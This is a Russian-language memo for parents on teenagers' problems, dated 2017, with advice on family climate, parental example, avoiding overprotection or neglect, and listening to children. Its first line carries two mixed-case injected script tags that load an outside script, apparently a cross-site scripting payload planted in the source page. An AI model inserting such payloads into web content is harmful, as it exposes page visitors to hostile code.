<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
16.02.2017
ПАМЯТКА
РОДИТЕЛЯМ
«Проблемы
подростка и пути их решений».
1. Взаимоотношения родителей.
Ребенок – плод взаимоотношений родителей.
- Мы корни дерева, каковы корни, таковы и плоды.
- Если с ребенком проблемы, то в первую очередь нужно смотреть на себя и на ваши взаимоотношения с друг
другом в семье.
1) Личный пример.
- Дети зеркально отражают наши проблемы.
- Мы не можем от них требовать того, что не делаем сами (например: быть вежливым, уважать родителей...);
2) Любовь родителей.
- Если ребенок видит, что его родители любят друг друга, он чувствует себя в безопасности.
- Обнимитесь на глазах у детей;
- Говорите о том, что любите друг друга, чтобы дети это слышали;
- Не соритесь, не выясняйте отношения, не обвиняйте друг друга при детях;
- Не плачьте и не жалуйтесь на глазах у детей;
3) Любить – глагол. Отвечает на вопрос «Что делать?»
- Это действия для другого;
- Выход за пределы своего «эго» и своего эгоизма;
- Мы этому учимся всю жизнь;
2. Создание безопасного климата в семье.
Безопасность обеспечивается гармоничным сочетанием
- твердости и мягкости;
- тепла и суровости;
- труда и отдыха.
Необходимо поощрять и хвалить детей
– для развития их адекватной самооценки.
1) Но не попустительство:
- не вседозволенность;
- не безразличие;
- дети должны знать свою ответственность (эгоистов растим сами);
2) Не авторитарное отношение:
- т.е. за неповиновение
– наказание;
- когда нет права голоса, то не могут отстоять свою точку зрения в компании;
- привычка к авторитарному лидеру – заставляет принять наркотики, сигарету, чтобы не быть «изгоем»;
- завышенные требования, сильное давление в семье, заставляет детей уклоняться от него патологическим путем.
И так, дисциплина, конструктивная критика, но не авторитарное отношение.
Поощрять детей и позволяйте им высказывать свое мнение.
Практикуйте «Семейный совет».
3) Не гиперопека:
- т.е. принятие всех тягот на себя;
- выполнение ответственности за детей;
- приводит к развитию инфантилизма у детей (беспомощности и безответственности);
- супертревожность мамы – тревожность ребенка – наркотики;
Итак, не решайте проблем за детей, не давайте им готовых рецептов, а просто подведите к решению. Детям необходимо учится принимать решения самим.
Не бойтесь их самостоятельности.
Помните, что ребенок тоже имеет право на ошибку.
4) Не гипоопека:
- т.е. замена тепла материальными благами;
- чувство одиночества, ненужности;
- поиск эмоциональных связей на стороне;
- привлечение внимания, обретения значимости любым путем (проблемные дети);
3. Взаимоотношения с детьми.
У детей существует колоссальная потребность в нас.
Поэтому важно:
1) Уделять время ребенку (20 минут перед сном – только ребенку);
2) Проявлять интерес к жизни ребенка;
- Спрашивайте, как прошел день, что он думал, переживал, чувствовал.
3) Слушать ребенка;
- Не критиковать, не оскорблять;
- Не осуждать, ребенок имеет право на ошибку;
- Принимайте и уважайте мнение ребенка - он личность;
- Будьте внимательны и сопереживайте;
4) Не сравнивать
- «Все это делают, а ты не можешь…», «Ты должен быть как…»;
- Сравнения снижают самооценку ребенка и его ощущение само ценности;
- А похвала, одобрения, поощрения, прикосновения - помогают ребенку быть адекватным;
5) Не срывайтесь
- Отдохните после работы;
- Скажите спокойно, что плохо себя чувствуете или у вас плохое настроение;
- Доносите свои мысли до другого без агрессии;
- Уберите свои родительские амбиции;
- Учитесь контролировать свои эмоции;
6) Уважайте мнение ребенка.
- Он тоже личность;
- «Семейный совет»;
- Выработка общих правил;
7) Делитесь своим жизненным опытом.
- В виде рассказа о себе, без нравоучений;
- Говорите с детьми о смысле жизни;
9) Проводите вместе время – это сближает.
- совместный отдых;
- туризм;
- приключения;
- авантюры;
- хобби;
- помечтайте вместе;
10) Говорите о сексуальности без чувства стыда.
- открытые, чистые разговоры о том, что место сексуальности – в семье;
11) Не ожидайте от детей, что они претворят в жизнь ваши мечты, то, что не смогли сделать вы.
- Ребенок пришел на этот свет, чтобы пройти путь.